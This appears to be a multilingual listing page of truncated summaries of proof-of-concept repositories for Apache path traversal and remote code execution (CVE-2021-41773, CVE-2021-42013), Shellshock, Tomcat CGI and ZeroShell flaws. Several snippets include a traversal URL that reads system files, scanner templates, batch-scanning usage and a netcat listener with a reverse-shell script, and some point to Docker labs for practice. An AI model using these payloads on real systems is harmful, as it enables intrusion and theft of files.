CVE-2021-41773

CVE-2021-41773 Ho sviluppato una POC di CVE-2021-41773 , RCE + path traversal in cgi-bin NOTA : TESTATO SU APACHE2 2.4.49 Puoi fare il pull della versione vulnerabile di Apache2 2.4.49 direttamente da Docker root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run...

cve-2021-42013

Apache 2.4.50 - Path Traversal o Remote Code Execution CVE-2021-42013.py è uno script Python che aiuta a individuare la vulnerabilità di Path Traversal o Remote Code Execution in Apache 2.4.50. Viene fornita un'istanza vulnerabile di Docker per fare pratica con CVE-2021-42013 Se CGI-BIN è...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE Uno script python3 per CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE. RCE richiede che cgi-bin sia abilitato Per Iniziare Esecuzione del programma LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit: pytho...

cve-2021-42013.get

Apache 2.4.50 - Path Traversal o Remote Code Execution cve-2021-42013.py è uno script Python che aiuta a individuare la vulnerabilità Path Traversal o Remote Code Execution in Apache 2.4.50. Viene fornita un'istanza vulnerabile di Docker per fare pratica con CVE-2021-42013 Se CGI-BIN è abilitato,...

cve-2021-42013

Apache 2.4.50 - Path Traversal o Remote Code Execution CVE-2021-42013.py è uno script Python che aiuta a individuare la vulnerabilità Path Traversal o Remote Code Execution in Apache 2.4.50. Viene fornita un'istanza vulnerabile di Docker per mettere le mani su CVE-2021-42013 Se CGI-BIN è abilitat...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts root@kitploit: id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 and cve-2021-42013 Script Python per la verifica batch di cve-2021-41773 e cve-2021-42013 Ambiente di esecuzione: python3 Utilizzo: python3 poc.py url.txt url.txt contiene gli URL da testare; gli URL vulnerabili verranno scritti in success.txt Il contenuto della verifica è molto...

CVE-2021-41773

CVE-2021-41773 POC & Lab per CVE-2021-41773 Preparazione del Lab root@kitploit: $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC root@kitploit: RCE curl...

CVE-2021-41773

CVE-2021-41773 Exploit-PoC mit Docker-Setup. Wechseln Sie in das Verzeichnis mit der Apache-Konfiguration und der Dockerfile im Repository enthalten. Image erstellen: docker build -t cve-2021-41773:1.0 . Docker-Image ausführen: docker run --rm -d -p 4444:80 cve-2021-41773:1.0 Hinweis: Sie können...

cve-2021-42013

Apache 2.4.50 - Path Traversal o Remote Code Execution CVE-2021-42013.py è uno script Python che aiuta a individuare la vulnerabilità di Path Traversal o Remote Code Execution in Apache 2.4.50. Viene fornita un'istanza Docker vulnerabile per fare pratica con CVE-2021-42013 Se CGI-BIN è abilitato,...

cve-2021-41773

Apache 2.4.49 - Path Traversal o Remote Code Execution cve-2021-41773.py è uno script Python che aiuta a individuare la vulnerabilità Path Traversal o Remote Code Execution in Apache 2.4.49. Viene fornita un'istanza Docker vulnerabile per mettere le mani su CVE-2021-41773 Se CGI-BIN è abilitato,...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Pfad-Traversal-Zero-Day in Apache HTTP Server ausgenutzt Apache HTTP Server CVE-2021-41773 in freier Wildbahn ausgenutzt CVE-2021-42013: Pfad-Traversal und Remote-Code-Ausführung in Apache HTTP Server 2.4.49 und 2.4.50 unvollständige Behebung von CVE-2021-41773...

Cgi-bin_bash_Reverse

Cgi-binbashReverse POC para CVE-2014-6271 Fonte:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2014-6271

CVE-2014-6271 python2.7 अपनी मशीन पर लिसनिंग शुरू करें। root@kitploit: nc -l -p 4444 नीचे दिए गए नियम के अनुसार पायथन स्क्रिप्ट चलाएँ: python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 आनंद लें।...

cve-2021-42013

Apache 2.4.50 - Path Traversal o Remote Code Execution cve-2021-42013.py è uno script Python che aiuta a trovare la vulnerabilità Path Traversal o Remote Code Execution in Apache 2.4.50. Viene fornita un'istanza vulnerabile di Docker per mettere le mani su CVE-2021-42013 Se CGI-BIN è abilitato,...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Windows上的Apache Tomcat远程执行代码 cgi-bin Utilizzo: root@kitploit: Usage: python CVE-2019-0232.py url cmd Ambiente di test: root@kitploit: jdk8 apache-tomcat-8.5.39...

ZeroShell <= 1.0beta11 Remote Code Execution

ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. id: CVE-2009-0545 info: name: ZeroShell = 1.0beta11 Remote Code Execution author: geeknik severity: critica...

CVE-2021-41773

CVE-2021-41773 Servizio vulnerabile Installazione Diverse opzioni: 1. Contenitore Docker root@kitploit: docker run -d -p 8080:80 12345qwert123456/apache2449cve-2021-41773 2. Dockerfile root@kitploit: git clone https://github.com/12345qwert123456/CVE-2021-41773.git cd...

cgi-bin-shellshock

Come usare Clona il repository oppure copia-incolla quello che preferisci root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh Esegui lo script Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp Nota: la LPORT predefinita è 444...

exploitApache

exploitApache CVE-2021-41773 के लिए एक्सप्लॉइट:Path Traversal cgi-bin...